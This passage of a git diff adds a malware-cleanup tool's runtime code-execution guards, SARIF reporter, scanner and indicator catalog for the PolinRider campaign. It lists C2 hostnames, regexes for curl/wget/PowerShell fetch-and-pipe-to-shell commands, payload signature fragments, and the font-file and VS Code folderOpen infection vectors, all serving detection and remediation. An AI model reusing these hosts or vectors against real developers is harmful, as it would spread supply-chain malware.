return finalArgs; +} + +/** + * Run git with hooks disabled and config sanitized. The GH token is + * intentionally NOT placed in git's environment — clone/push carry auth in the + * tokenized URL instead. + */ +export function safeGit(args = [], opts = {}) { + return safeExec("git", buildGitArgs(args), { ...opts, env: gitEnv(opts.env) }); +} + +/** + * Run gh with the GitHub token scoped to THIS process only (not leaked to git or + * any other child). Token defaults to GH_TOKEN but can be injected for testing. + */ +export function safeGh(args = [], opts = {}, token = process.env.GH_TOKEN) { + const env = { ...opts.env }; + if (token) { + env.GH_TOKEN = token; + env.GITHUB_TOKEN = token; + } + return safeExec("gh", args, { ...opts, env }); +} diff --git a/src/safety.js b/src/safety.js new file mode 100644 index 0000000..99ab543 --- /dev/null +++ b/src/safety.js @@ -0,0 +1,142 @@ +/** + * Runtime safety guards — defense-in-depth so the PolinRider payload can never + * execute, even if it somehow reaches a code path. + * + * This module installs its guards as an IMPORT SIDE EFFECT and MUST be the very + * first import of the entry point (`src/index.js`). Because ESM hoists imports, + * "first import line" is sufficient — the guards run before any other module's + * top-level code. + * + * Layering (see the project plan): + * • Layer 2 (the V8 flag `--disallow-code-generation-from-strings`, applied by + * bin/polinrider.js) is the AUTHORITATIVE block for eval / Function. It is + * verified to make eval(), new Function(), and the Async/Generator function + * constructors throw EvalError. + * • This module is the Layer-3 FALLBACK for when the process is launched + * WITHOUT that flag (e.g. `node src/index.js`, or an `import` from a test + * runner that wasn't started with the flag). It neutralizes the same escape + * hatches in-process, plus `node:vm` and `process.binding`, which the flag + * does NOT cover. + * + * The real protection is the architectural invariant: target file content is + * only ever read as an inert string/Buffer and pattern-matched — never passed + * to require/import/eval/Function/vm/child_process. These guards exist so a + * mistake can't become an execution. + */ + +import Module from "node:module"; + +const ERR = "PolinRider safety:"; + +function makeBlocked(what) { + return function blocked() { + throw new EvalError(`${ERR} dynamic code generation via ${what} is disabled`); + }; +} + +function lockGlobal(name, value) { + try { + Object.defineProperty(globalThis, name, { + value, + configurable: false, + writable: false, + enumerable: false, + }); + return true; + } catch { + return false; + } +} + +// ─── 1. Block eval() (direct and indirect) ───────────────────────────────────── +// Replacing globalThis.eval blocks both `eval(x)` and `(0, eval)(x)`, since both +// resolve the global binding at call time. +lockGlobal("eval", makeBlocked("eval")); + +// ─── 2. Block the Function constructor family ────────────────────────────────── +// Preserve Function.prototype so `instanceof`, `.bind`, `.call`, etc. keep +// working; only the string→code construction paths are neutralized. +const RealFunction = Function; +const BlockedFunction = makeBlocked("Function"); +try { + Object.defineProperty(BlockedFunction, "prototype", { + value: RealFunction.prototype, + writable: false, + }); +} catch { + /* prototype already non-configurable on some engines — fine */ +} +lockGlobal("Function", BlockedFunction); + +// Close the `(function(){}).constructor("code")` escape, plus the async / +// generator equivalents, by pointing each prototype's `.constructor` at the +// blocked stub. Wrapped per-item so one failure can't abort the rest. +function blockConstructorOf(sample) { + try { + const proto = Object.getPrototypeOf(sample); + Object.defineProperty(proto, "constructor", { + value: BlockedFunction, + configurable: true, + writable: true, + }); + } catch { + /* ignore */ + } +} +blockConstructorOf(function () {}); +blockConstructorOf(async function () {}); +blockConstructorOf(function* () {}); +blockConstructorOf(async function* () {}); + +// ─── 3. Block the node:vm module ─────────────────────────────────────────────── +// The V8 flag does NOT cover vm.runInNewContext / runInThisContext / +// compileFunction (verified). Reaching vm requires attacker code to already be +// executing — which the allowlist + eval block prevent — but we close the most +// likely path (a malicious CommonJS dependency calling require('vm')). +const originalLoad = Module._load; +Module._load = function patchedLoad(request, ...rest) { + if (request === "vm" || request === "node:vm") { + throw new Error(`${ERR} the node:vm module is blocked`); + } + return originalLoad.call(this, request, ...rest); +}; +// NOTE: dynamic ESM `import('node:vm')` is not interceptable in-process without a +// loader hook (cross-version-fragile on Node 20.0–20.5). Documented residual — +// it is unreachable without already-executing attacker ESM, which the other +// layers prevent. + +// ─── 4. Neutralize the legacy process.binding escape hatch ────────────────────── +const blockBinding = function blockedBinding() { + throw new Error(`${ERR} process.binding is blocked`); +}; +for (const key of ["binding", "_linkedBinding"]) { + try { + Object.defineProperty(process, key, { + value: blockBinding, + configurable: false, + writable: false, + }); + } catch { + /* ignore */ + } +} + +/** + * Diagnostic helper (used by tests and the orchestrator banner). Returns a + * snapshot of which guards are active and whether the V8 codegen flag is on. + */ +export function hardeningStatus() { + let evalBlocked = false; + try { + // eslint-disable-next-line no-eval + globalThis.eval("1+1"); + } catch { + evalBlocked = true; + } + return { + evalBlocked, + codegenFlag: process.execArgv.includes("--disallow-code-generation-from-strings") || + (process.env.NODE_OPTIONS || "").includes("--disallow-code-generation-from-strings"), + hardenedLaunch: process.env.POLINRIDER_HARDENED === "1", + }; +} diff --git a/src/sarif.js b/src/sarif.js new file mode 100644 index 0000000..186ae22 --- /dev/null +++ b/src/sarif.js @@ -0,0 +1,93 @@ +/** + * Build a minimal SARIF 2.1.0 report from a Findings object so consumers can + * upload results to GitHub code scanning (github/codeql-action/upload-sarif) and + * see them in the Security tab / inline on the PR. + * + * Pure with respect to the repo: it only reads files to convert a js-payload's + * char offset into a 1-based line. Every other finding is file-level (startLine 1). + */ + +import fs from "node:fs"; +import path from "node:path"; + +const PROJECT_URL = "https://github.com/RMSoft-ltd/polinrider-cleanup"; +const levelOf = (f) => (f.contentConfirmed ? "error" : "warning"); + +/** 1-based start line for findings that carry a char offset, else 1. */ +function lineFor(repoDir, f) { + const offset = f.edit?.offset; + if (!(offset > 0) || !repoDir) return 1; + try { + const text = fs.readFileSync(path.join(repoDir, f.file), "utf8"); + if (offset > text.length) return 1; + return text.slice(0, offset).split("\n").length; + } catch { + return 1; + } +} + +/** Repo-root-relative, forward-slashed URI (SARIF artifactLocation). */ +function uriFor(repoRoot, repoDir, relFile) { + const abs = path.join(repoDir || repoRoot, relFile); + const rel = path.relative(repoRoot || repoDir, abs) || relFile; + return rel.split(path.sep).join("/"); +} + +/** + * @param {import('./scanner.js').Findings} findings + * @param {{ repoRoot?: string, repoDir?: string }} [opts] + */ +export function buildSarif(findings, opts = {}) { + const root = opts.repoRoot || opts.repoDir || findings.repoDir; + const dir = opts.repoDir || findings.repoDir || root; + + const rules = new Map(); + const results = findings.findings.map((f) => { + if (!rules.has(f.id)) { + rules.set(f.id, { + id: f.id, + name: f.id, + shortDescription: { text: `PolinRider ${f.category} artifact` }, + fullDescription: { text: f.description }, + defaultConfiguration: { level: levelOf(f) }, + helpUri: PROJECT_URL, + properties: { tags: ["security", "malware", "polinrider", f.category] }, + }); + } + return { + ruleId: f.id, + level: levelOf(f), + message: { text: f.description }, + locations: [ + { + physicalLocation: { + artifactLocation: { uri: uriFor(root, dir, f.file) }, + region: { startLine: lineFor(dir, f) }, + }, + }, + ], + properties: { + confidence: f.confidence, + contentConfirmed: f.contentConfirmed, + action: f.action, + }, + }; + }); + + return { + $schema: "https://json.schemastore.org/sarif-2.1.0.json", + version: "2.1.0", + runs: [ + { + tool: { + driver: { + name: "polinrider-cleanup", + informationUri: PROJECT_URL, + rules: [...rules.values()], + }, + }, + results, + }, + ], + }; +} diff --git a/src/scanner.js b/src/scanner.js new file mode 100644 index 0000000..6804582 --- /dev/null +++ b/src/scanner.js @@ -0,0 +1,528 @@ +/** + * PolinRider detection. Produces a structured Findings report consumed by the + * remediator and the reporter. PURE with respect to the target repo: it only + * reads files (as inert text/bytes) and pattern-matches. It never executes + * target content, spawns processes, or makes network calls. + * + * Detection is CONTENT-CONFIRMED: a repo is marked `infected` only when a known + * signature / IOC actually matches. The mere co-presence of tasks.json + + * launch.json + public/fonts raises `coPresenceAmplified` (a reporting hint) but + * never, on its own, marks a repo infected or produces a removable finding. + * + * @typedef {Object} Finding + * @property {string} id + * @property {'js'|'vscode'|'font'|'package'|'artifact'|'gitignore'} category + * @property {string} file repo-relative path + * @property {'high'|'low'} confidence + * @property {'strip-js-payload'|'edit-vscode'|'delete-font'|'remove-font-set'|'remove-dir'|'remove-artifact'|'fix-gitignore'|'manual-review'} action + * @property {boolean} contentConfirmed true only when a known signature matched + * @property {string} description + * @property {Object} [edit] action parameters for the remediator + * + * @typedef {Object} Findings + * @property {string} repoDir + * @property {'clean'|'suspicious'|'infected'} severity + * @property {boolean} hasContentConfirmed + * @property {boolean} coPresenceAmplified + * @property {Finding[]} findings + * @property {string[]} manualReview + */ + +import fs from "node:fs/promises"; +import { existsSync } from "node:fs"; +import path from "node:path"; +import * as sig from "./signatures.js"; +import { parseJsonc, getMember } from "./jsonc.js"; +import { collectByExtension } from "./walk.js"; +import { looksSuspicious, collectFontReferences, isReferenced } from "./fonts.js"; +import { buildExcluder } from "./exclude.js"; + +/** + * Scan a single repository directory. + * @param {string} repoDir + * @param {{ exclude?: string[]|string }} [opts] paths/globs to skip (repo-relative). + * Useful so a repo can scan itself while ignoring files that legitimately + * contain signatures (e.g. this tool's own src/signatures.js + fixtures). + * @returns {Promise} + */ +export async function scanRepo(repoDir, opts = {}) { + const findings = []; + const rel = (p) => path.relative(repoDir, p) || path.basename(p); + const matchExcluded = buildExcluder(opts.exclude); + const isExcluded = (abs) => + matchExcluded(path.relative(repoDir, abs).split(path.sep).join("/")); + + await detectJsPayloads(repoDir, findings, rel, isExcluded); + await detectVscode(repoDir, findings, rel, isExcluded); + await detectFonts(repoDir, findings, rel, isExcluded); + await detectPackageJson(repoDir, findings, isExcluded); + await detectArtifacts(repoDir, findings, isExcluded); + + const coPresenceAmplified = + existsSync(path.join(repoDir, ".vscode", "tasks.json")) && + existsSync(path.join(repoDir, ".vscode", "launch.json")) && + sig.FONT_DIRS.some((d) => existsSync(path.join(repoDir, d))); + + const hasContentConfirmed = findings.some((f) => f.contentConfirmed); + let severity = "clean"; + if (hasContentConfirmed) severity = "infected"; + else if (findings.length > 0 || coPresenceAmplified) severity = "suspicious"; + + const manualReview = findings + .filter((f) => f.action === "manual-review") + .map((f) => `${f.file}: ${f.description}`); + + return { repoDir, severity, hasContentConfirmed, coPresenceAmplified, findings, manualReview }; +} + +// ─── JS payload (appended obfuscated blob) ────────────────────────────────────── + +/** Find the byte offset where the appended payload begins, or -1. */ +export function locatePayloadOffset(text, variant) { + let lastExport = -1; + const re = new RegExp(sig.EXPORT_MARKER_RE.source, "g"); + let m; + while ((m = re.exec(text))) lastExport = m.index; + const from = lastExport >= 0 ? lastExport : 0; + const tailMatch = new RegExp(variant.startRe.source).exec(text.slice(from)); + if (tailMatch) return from + tailMatch.index; + const anyMatch = new RegExp(variant.startRe.source).exec(text); + return anyMatch ? anyMatch.index : -1; +} + +async function detectJsPayloads(repoDir, findings, rel, isExcluded) { + const files = await collectByExtension(repoDir, sig.JS_EXTENSIONS); + for (const file of files) { + if (isExcluded(file)) continue; + let text; + try { + text = await fs.readFile(file, "utf8"); + } catch { + continue; + } + + // 1. Known variants — content-confirmed via signature + a numeric seed. + let matchedKnown = false; + for (const variant of sig.JS_VARIANTS) { + const confirmed = + text.includes(variant.signature) && variant.seeds.some((s) => text.includes(s)); + if (!confirmed) continue; + matchedKnown = true; + const offset = locatePayloadOffset(text, variant); + const canStrip = offset > 0; + findings.push({ + id: `js.payload.${variant.id}`, + category: "js", + file: rel(file), + confidence: "high", + action: canStrip ? "strip-js-payload" : "manual-review", + contentConfirmed: true, + description: canStrip + ? `${variant.label} appended at offset ${offset} — will strip from there to EOF` + : `${variant.label} detected but its start offset could not be located safely — strip manually`, + edit: canStrip ? { absPath: file, offset, variantId: variant.id } : undefined, + }); + break; // one variant finding per file is enough + } + if (matchedKnown) continue; + + // 2. Generic heuristic for UNKNOWN variants → manual review only, never auto-strip. + let lastExport = -1; + const re = new RegExp(sig.EXPORT_MARKER_RE.source, "g"); + let m; + while ((m = re.exec(text))) lastExport = m.index; + const tail = lastExport >= 0 ? text.slice(lastExport) : text; + const h = sig.GENERIC_HEURISTIC; + if (h.globalAssignRe.test(tail) && h.obfArrayRe.test(tail) && h.evalRe.test(tail)) { + findings.push({ + id: "js.payload.heuristic", + category: "js", + file: rel(file), + confidence: "low", + action: "manual-review", + contentConfirmed: false, + description: + "Obfuscated code appended after the last export (global[...] assignment + obfuscated array + eval). Possible unknown PolinRider variant — review manually.", + }); + } + } +} + +// ─── .vscode task / launch weaponization ──────────────────────────────────────── + +/** Decide whether one task/launch entry is malicious. */ +export function classifyVscodeEntry(entryValue) { + const hay = JSON.stringify(entryValue ?? ""); + if (sig.isC2Host(hay)) return { bad: true, reason: "references a known PolinRider C2 host" }; + if (sig.isFetchToShell(hay)) + return { bad: true, reason: "fetches a remote script and pipes it to a shell" }; + if (sig.commandExecutesAsset(hay)) + return { bad: true, reason: "executes a font/asset file as code (e.g. `node ./public/fonts/…`)" }; + if (entryValue?.runOptions?.runOn === "folderOpen") { + if (sig.ANY_URL_RE.test(hay)) + return { bad: true, reason: "auto-runs on folderOpen and contacts an external URL" }; + if (sig.INTERPRETER_RE.test(hay)) + return { bad: true, reason: "auto-runs a script interpreter on folderOpen" }; + } + return { bad: false }; +} + +async function detectVscode(repoDir, findings, rel, isExcluded) { + const vscodeDir = path.join(repoDir, ".vscode"); + if (!existsSync(vscodeDir) || isExcluded(vscodeDir)) return; + + const targets = [ + { name: "tasks.json", arrayKey: "tasks" }, + { name: "launch.json", arrayKey: "configurations" }, + ]; + const reasons = new Set(); + + for (const { name, arrayKey } of targets) { + const file = path.join(vscodeDir, name); + if (!existsSync(file) || isExcluded(file)) continue; + let text; + try { + text = await fs.readFile(file, "utf8"); + } catch { + continue; + } + const parsed = parseJsonc(text); + if (!parsed.ok) { + // Can't parse → fall back to scanning the raw text for malicious markers. + if (sig.isC2Host(text) || sig.isFetchToShell(text) || sig.commandExecutesAsset(text)) { + reasons.add(`malicious content in ${name}`); + } + continue; + } + const arr = Array.isArray(parsed.value?.[arrayKey]) ? parsed.value[arrayKey] : []; + for (const entry of arr) { + const c = classifyVscodeEntry(entry); + if (c.bad) reasons.add(`${name}: ${c.reason}`); + } + } + + if (reasons.size === 0) return; + // Policy: any malicious .vscode entry → remove the entire .vscode directory. + findings.push({ + id: "vscode.malicious", + category: "vscode", + file: ".vscode", + confidence: "high", + action: "remove-dir", + contentConfirmed: true, + description: `Malicious .vscode configuration (${[...reasons].join("; ")}) — removing the entire .vscode directory`, + edit: { absPath: vscodeDir }, + }); +} + +// ─── Font payload carriers ─────────────────────────────────────────────────────── + +/** Map a font file to the fonts directory that should be removed wholesale, or null. */ +export function fontDirToRemove(repoDir, fontAbsPath) { + const parts = path.relative(repoDir, fontAbsPath).split(path.sep); + const idx = parts.lastIndexOf("fonts"); + if (idx >= 0) return path.join(repoDir, ...parts.slice(0, idx + 1)); // .../fonts + return null; // not inside a fonts/ dir → caller falls back to deleting the file +} + +async function detectFonts(repoDir, findings, rel, isExcluded) { + const fontFiles = await collectByExtension(repoDir, sig.FONT_EXTENSIONS); + if (fontFiles.length === 0) return; + const haystack = await collectFontReferences(repoDir); + + // Group fonts by their leaf `fonts/` dir. A dir is tracked when it holds either a + // suspicious font OR a Font-Awesome-named font (the malware's disguise names). + const groups = new Map(); // absDir → { confirmed:[], suspect:[] } + const orphans = []; // suspicious/fa fonts with no fonts/ ancestor + + const ensureGroup = (dir) => { + if (!groups.has(dir)) groups.set(dir, { confirmed: [], suspect: [] }); + return groups.get(dir); + }; + + for (const file of fontFiles) { + if (isExcluded(file)) continue; + const isFa = sig.isFaFamilyName(path.basename(file)); + let susp; + try { + susp = looksSuspicious(await fs.readFile(file), path.extname(file)); + } catch { + continue; + } + const referenced = isReferenced(haystack, file); + const isCarrier = susp.bad && susp.hasCodeStrings; // not a valid font + code payload + const dir = fontDirToRemove(repoDir, file); + + // Referenced fonts are wired into the build, so they are never auto-deleted. + // But "referenced" is not a clean bill of health: a referenced file that is + // NOT a valid font yet carries a code payload is a carrier hiding in plain + // sight → surface it for manual review rather than silently trusting it. + if (referenced) { + if (isCarrier) { + findings.push({ + id: "font.referenced-carrier", + category: "font", + file: rel(file), + confidence: "high", + action: "manual-review", + contentConfirmed: false, + description: `Referenced file that is not a valid font but contains a code payload (${susp.reasons.join("; ")}). It is imported by the build, so it is not auto-removed — review and remove it manually.`, + }); + } + // A referenced fa-named font still registers its dir so the disguise (medium) + // check fires, but it is never treated as a deletable carrier. + if (isFa && dir) ensureGroup(dir); + continue; + } + + if (!susp.bad && !isFa) continue; // valid, inert, non-disguise, unreferenced → leave it + + const entry = { file, reasons: susp.reasons }; + if (dir) { + const g = ensureGroup(dir); + if (isCarrier) g.confirmed.push(entry); + else if (susp.bad) g.suspect.push(entry); + // (fa-named-but-valid fonts add nothing here; emit() re-discovers them by name) + } else if (isCarrier) { + orphans.push({ ...entry, kind: "carrier" }); + } else if (susp.bad || isFa) { + orphans.push({ ...entry, kind: "review", isFa }); + } + } + + for (const [dir, group] of groups) { + await emitFontDirFinding(dir, group, findings, rel, isExcluded); + } + + // Fonts outside any `fonts/` dir: a confirmed carrier is deleted on its own; a + // bare fa-named or unrecognized file is flagged for manual review only. + for (const o of orphans) { + if (o.kind === "carrier") { + findings.push({ + id: "font.carrier", + category: "font", + file: rel(o.file), + confidence: "high", + action: "delete-font", + contentConfirmed: true, + description: `Unreferenced font carrier (JS payload): ${o.reasons.join("; ")}`, + edit: { absPath: o.file }, + }); + } else { + findings.push({ + id: "font.review", + category: "font", + file: rel(o.file), + confidence: "low", + action: "manual-review", + contentConfirmed: false, + description: o.isFa + ? "Font-Awesome-named font (a known PolinRider disguise) with no payload detected — review manually." + : `Unreferenced file that is not a valid font (${o.reasons.join("; ")}) — review manually.`, + }); + } + } +} + +/** + * List everything under `dir`. `allEntries` includes files, sub-directories AND + * symlinks (symlinks are recorded but never followed, matching the walker's safety + * guarantee); `regularFiles` are the real files only — the pool we may remove. + */ +async function listTree(dir) { + const allEntries = []; + const regularFiles = []; + const rec = async (d) => { + let entries; + try { + entries = await fs.readdir(d, { withFileTypes: true }); + } catch { + return; + } + for (const ent of entries) { + const full = path.join(d, ent.name); + allEntries.push(full); + if (ent.isSymbolicLink()) continue; // counts as "present", but not followed or removed + if (ent.isDirectory()) await rec(full); + else if (ent.isFile()) regularFiles.push(full); + } + }; + await rec(dir); + return { allEntries, regularFiles }; +} + +/** + * Decide what to remove for one `fonts/` directory that contains a suspicious or + * disguise-named font. + * + * - A confirmed carrier (unreferenced JS payload) makes the dir `infected`: remove + * the carrier(s) PLUS the whole `fa-*` disguise set PLUS README sidecars. If that + * set is the entire directory, remove the directory; otherwise remove just those + * files and keep the clean fonts. + * - No carrier but `fa-*` names present (or an unrecognized blob) → `suspicious` + * manual-review only; nothing is auto-removed. + */ +async function emitFontDirFinding(dir, group, findings, rel, isExcluded) { + // Enumerate the dir INCLUDING symlinks and sub-directory entries. `allEntries` + // is used only to decide "is anything here besides the removal set?" — a symlink + // or a sub-directory (e.g. a clean gill-sans/) must count so we never escalate to + // a whole-dir removal that would take a clean font with it. `regularFiles` is the + // pool of real files we may actually remove. + const { allEntries, regularFiles } = await listTree(dir); + const faAll = regularFiles.filter((f) => !isExcluded(f) && sig.isFaFamilyName(path.basename(f))); + + if (group.confirmed.length > 0) { + const carrierReasons = [...new Set(group.confirmed.flatMap((e) => e.reasons))].join("; "); + // Scope the disguise sweep to the carrier's OWN directory: remove fa-* files and + // README sidecars that sit beside a carrier, never ones in a nested clean subdir. + const carrierDirs = new Set(group.confirmed.map((e) => path.dirname(e.file))); + const inScope = (f) => carrierDirs.has(path.dirname(f)) && !isExcluded(f); + const faFiles = faAll.filter(inScope); + const sidecars = regularFiles.filter((f) => inScope(f) && sig.isFontDropSidecar(path.basename(f))); + + const removalAbs = new Set([...group.confirmed.map((e) => e.file), ...faFiles, ...sidecars]); + const remaining = allEntries.filter((f) => !removalAbs.has(f)); // anything clean to preserve + + if (remaining.length === 0) { + findings.push({ + id: "font.carrier-dir", + category: "font", + file: rel(dir), + confidence: "high", + action: "remove-dir", + contentConfirmed: true, + description: `Font carrier(s) found — removing the entire ${rel(dir)} directory (${carrierReasons})`, + edit: { absPath: dir }, + }); + } else { + const removals = [...removalAbs].map((abs) => ({ abs, rel: rel(abs) })); + findings.push({ + id: "font.carrier-set", + category: "font", + file: rel(dir), + confidence: "high", + action: "remove-font-set", + contentConfirmed: true, + description: + `Font carrier(s) in ${rel(dir)} (${carrierReasons}) — removing ${removals.length} ` + + `malicious/disguise file(s): ${removals.map((r) => path.basename(r.rel)).join(", ")}. ` + + `Preserving ${remaining.length} clean entr${remaining.length === 1 ? "y" : "ies"}.`, + edit: { removals }, + }); + } + return; + } + + // No confirmed carrier: fa-disguise names and/or an unrecognized blob → medium. + const bits = []; + if (faAll.length) { + bits.push( + `Font-Awesome-named font(s) present (${faAll.map((f) => path.basename(f)).join(", ")}) — a known PolinRider disguise`, + ); + } + if (group.suspect.length) { + bits.push(`unrecognized non-font file(s): ${group.suspect.map((e) => path.basename(e.file)).join(", ")}`); + } + if (bits.length === 0) return; + findings.push({ + id: "font.review", + category: "font", + file: rel(dir), + confidence: "low", + action: "manual-review", + contentConfirmed: false, + description: `${bits.join("; ")}. No payload detected — review manually to confirm these are legitimate.`, + }); +} + +// ─── package.json impostor deps / malicious lifecycle scripts ──────────────────── + +async function detectPackageJson(repoDir, findings, isExcluded) { + const file = path.join(repoDir, "package.json"); + if (!existsSync(file) || isExcluded(file)) return; + let pkg; + try { + pkg = JSON.parse(await fs.readFile(file, "utf8")); + } catch { + return; // malformed package.json — out of scope here + } + const depSections = ["dependencies", "devDependencies", "optionalDependencies", "peerDependencies"]; + const impostors = new Set(); + for (const section of depSections) { + const deps = pkg[section]; + if (!deps || typeof deps !== "object") continue; + for (const name of Object.keys(deps)) { + if (sig.IMPOSTOR_DEPS.includes(name)) impostors.add(name); + } + } + if (impostors.size > 0) { + findings.push({ + id: "package.impostor-deps", + category: "package", + file: "package.json", + confidence: "high", + action: "manual-review", + contentConfirmed: true, + description: `Known PolinRider impostor dependenc${impostors.size === 1 ? "y" : "ies"}: ${[...impostors].join(", ")}. Remove the package(s) and audit lockfiles manually.`, + }); + } + + const scripts = pkg.scripts && typeof pkg.scripts === "object" ? pkg.scripts : {}; + for (const hook of sig.SUSPICIOUS_LIFECYCLE_SCRIPTS) { + const cmd = scripts[hook]; + if (typeof cmd === "string" && (sig.isFetchToShell(cmd) || /\bnode\b\s+-e\b/i.test(cmd))) { + findings.push({ + id: `package.script.${hook}`, + category: "package", + file: "package.json", + confidence: "high", + action: "manual-review", + contentConfirmed: true, + description: `"${hook}" lifecycle script fetches and executes remote code: ${cmd}`, + }); + } + } +} + +// ─── Standalone artifacts + .gitignore injection ───────────────────────────────── + +async function detectArtifacts(repoDir, findings, isExcluded) { + for (const name of sig.ARTIFACT_FILES) { + if (existsSync(path.join(repoDir, name)) && !isExcluded(path.join(repoDir, name))) { + findings.push({ + id: `artifact.${name}`, + category: "artifact", + file: name, + confidence: "high", + action: "remove-artifact", + contentConfirmed: true, + description: + name === "config.bat" + ? "Hidden malware orchestrator" + : "Malware propagation script", + edit: { absPath: path.join(repoDir, name) }, + }); + } + } + + const gitignore = path.join(repoDir, ".gitignore"); + if (existsSync(gitignore) && !isExcluded(gitignore)) { + try { + const lines = (await fs.readFile(gitignore, "utf8")).split(/\r?\n/).map((l) => l.trim()); + const injected = sig.GITIGNORE_INJECTED.filter((p) => lines.includes(p)); + if (injected.length) { + findings.push({ + id: "gitignore.injected", + category: "gitignore", + file: ".gitignore", + confidence: "high", + action: "fix-gitignore", + contentConfirmed: true, + description: `malware-injected .gitignore entr${injected.length === 1 ? "y" : "ies"}: ${injected.join(", ")}`, + }); + } + } catch { + /* ignore */ + } + } +} diff --git a/src/signatures.js b/src/signatures.js new file mode 100644 index 0000000..fec3452 --- /dev/null +++ b/src/signatures.js @@ -0,0 +1,258 @@ +/** + * PolinRider indicator-of-compromise (IOC) catalog. + * + * This module is PURE DATA plus a few side-effect-free helpers. It performs + * NO file I/O, NO network access, and NEVER executes any string. Detection and + * remediation logic lives in scanner.js / remediator.js and consumes these. + * + * Update this file as the malware rotates its signatures — it is the single + * source of truth that scanner, remediator, and the tests all read from. + */ + +// ─── JS payload variants ────────────────────────────────────────────────────── +// +// PolinRider appends one obfuscated blob to the END of a file, after the last +// legitimate `export default` / `module.exports`. A variant is "content +// confirmed" only when its unique `signature` AND at least one of its numeric +// `seeds` are present — never on a bare `global[...]` substring (which appears +// in plenty of legitimate code). `startRe` locates the first byte of the +// appended blob so the remediator can strip exactly from there to EOF. + +export const JS_VARIANTS = [ + { + id: "original", + label: "PolinRider payload (original variant)", + confidence: "high", + signature: "rmcej%otb%", // appears as ("rmcej%otb%",2857687) + decoder: "_$_1e42", + seeds: ["2857687", "2667686"], + startRe: /global\s*\[\s*(['"])!\1\s*\]\s*=/, + }, + { + id: "rotated", + label: "PolinRider payload (rotated variant)", + confidence: "high", + signature: "Cot%3t=shtP", + decoder: "MDy", + seeds: ["1111436", "3896884"], + startRe: /global\s*\[\s*(['"])_V\1\s*\]\s*=/, + }, +]; + +// Marks the end of legitimate code; the payload is appended after the LAST one. +export const EXPORT_MARKER_RE = /(?:export\s+default|module\.exports)/g; + +// Low-confidence heuristic for UNKNOWN future variants. When an obfuscated blob +// is appended after the exports, we flag it for MANUAL REVIEW only — never an +// automatic strip (avoids damaging legitimate-but-unusual code). +export const GENERIC_HEURISTIC = { + globalAssignRe: /global\s*\[\s*(['"]).{1,12}?\1\s*\]\s*=/, + obfArrayRe: /\bvar\s+_\$?_?[A-Za-z0-9$_]+\s*=\s*\[/, // e.g. var _$_1e42=[...] + evalRe: /\beval\s*\(/, +}; + +export const JS_EXTENSIONS = [".js", ".jsx", ".ts", ".tsx", ".mjs", ".cjs"]; + +// Config files PolinRider is documented to target. Used for labeling/priority; +// the scanner sweeps all JS/TS files regardless (content-confirmed = no FPs). +export const CONFIG_FILES = [ + "postcss.config.mjs", + "postcss.config.js", + "tailwind.config.js", + "eslint.config.mjs", + "next.config.mjs", + "next.config.ts", + "babel.config.js", + "jest.config.js", +]; + +// ─── .vscode task/launch weaponization ───────────────────────────────────────── +// +// Malicious tasks fetch a remote script and pipe it to a shell, often auto-run +// via runOptions.runOn = "folderOpen". Legitimate tasks run LOCAL commands +// (npm run build, tsc, etc.) and are never flagged. + +export const C2_HOSTS = [ + "default-configuration.vercel.app", + "vscode-settings-bootstrap.vercel.app", + "vscode-settings-config.vercel.app", + "vscode-bootstrapper.vercel.app", + "vscode-load-config.vercel.app", + "260120.vercel.app", +]; + +// Broader patterns for sibling C2 domains in the same family. +export const C2_HOST_RES = [ + /vscode-settings-[a-z0-9-]*\.vercel\.app/i, + /vscode-[a-z0-9-]*(?:config|bootstrap|loader?)[a-z0-9-]*\.vercel\.app/i, +]; + +// A remote fetch (downloads code from the network). +export const NET_FETCH_RES = [ + /\bcurl\b/i, + /\bwget\b/i, + /\bInvoke-WebRequest\b/i, + /\biwr\b/i, + /\bNew-Object\s+Net\.WebClient/i, + /\bDownloadString\b/i, +]; + +// Piping/handing fetched bytes to an interpreter (executes downloaded code). +export const PIPE_SHELL_RES = [ + /\|\s*(?:bash|sh|zsh|dash)\b/i, + /\b(?:bash|sh|zsh|dash)\s+-c\b/i, + /\bIEX\b/i, // PowerShell Invoke-Expression + /\bInvoke-Expression\b/i, + /\bnode\b\s+-e\b/i, + /\beval\b/i, +]; + +export const ANY_URL_RE = /https?:\/\/[^\s"'`)]+/i; + +// A raw script interpreter (as opposed to a package-manager wrapper like npm). +export const INTERPRETER_RE = + /\b(?:node|deno|bun|python3?|ruby|php|osascript|bash|sh|zsh|dash|pwsh|powershell|cmd)\b/i; + +// Running an interpreter against an asset/font path — never legitimate. This is +// the real PolinRider .vscode vector: a folderOpen task does `node ./public/fonts/x.woff2`. +export const ASSET_EXEC_RE = + /(?:public[\\/]+fonts|[\\/]fonts[\\/]|\bstatic[\\/]|\bassets[\\/])|\.(?:woff2?|ttf|eot|otf)\b/i; + +// ─── Font payload carrier ────────────────────────────────────────────────────── +// +// A font dropped into public/fonts that no CSS/HTML/JS references AND whose +// bytes don't look like a real font (bad magic) or contain JS-like strings. + +export const FONT_EXTENSIONS = [".woff2", ".woff", ".ttf", ".otf", ".eot", ".ttc"]; + +// First 4 bytes of a legitimate font file, keyed by format. +export const FONT_MAGIC = { + woff2: [0x77, 0x4f, 0x46, 0x32], // wOF2 + woff: [0x77, 0x4f, 0x46, 0x46], // wOFF + otf: [0x4f, 0x54, 0x54, 0x4f], // OTTO + ttf: [0x00, 0x01, 0x00, 0x00], + ttc: [0x74, 0x74, 0x63, 0x66], // ttcf + true: [0x74, 0x72, 0x75, 0x65], // 'true' (legacy TrueType) + eot: null, // EOT has no single stable magic; treat presence-only +}; + +// Code-execution strings that should NEVER appear in a real font file. These are +// the signal that an unparseable "font" is actually an appended JS payload. +// +// NOTE: plain URLs and long base64-looking runs are deliberately NOT here — real +// fonts legitimately embed license/vendor URLs in their `name` table, and binary +// glyph data trivially produces long [A-Za-z0-9+/] runs. Both caused false +// positives on genuine fonts (e.g. commercial .otf files). Structural validation +// in fonts.js is the primary "is this a real font?" signal now; these strings only +// corroborate a file that already failed to parse as a font. +export const FONT_BADNESS_RES = [ + /eval\s*\(/, + /global\s*\[/, + /require\s*\(/, + /child_process/, + /process\.(?:env|binding)/, + /function\s*\(/, + /\bnode\b\s+-e\b/, +]; + +// PolinRider disguises its font carrier under Font-Awesome filenames (the exact +// names real Font Awesome ships: fa-brands-400, fa-solid-900, fa-regular-400, …). +// Presence of these names is a disguise indicator; content (see fonts.js) decides +// whether a given file is an actual payload or just a legitimate Font Awesome font. +export const FA_FONT_NAME_RE = + /^fa-(?:brands|solid|regular|light|thin|duotone)-\d+\.(?:eot|svg|ttf|otf|woff2?)$/i; + +// Files the malware drops alongside its font carrier that should go with it. +export const FONT_DROP_SIDECARS = 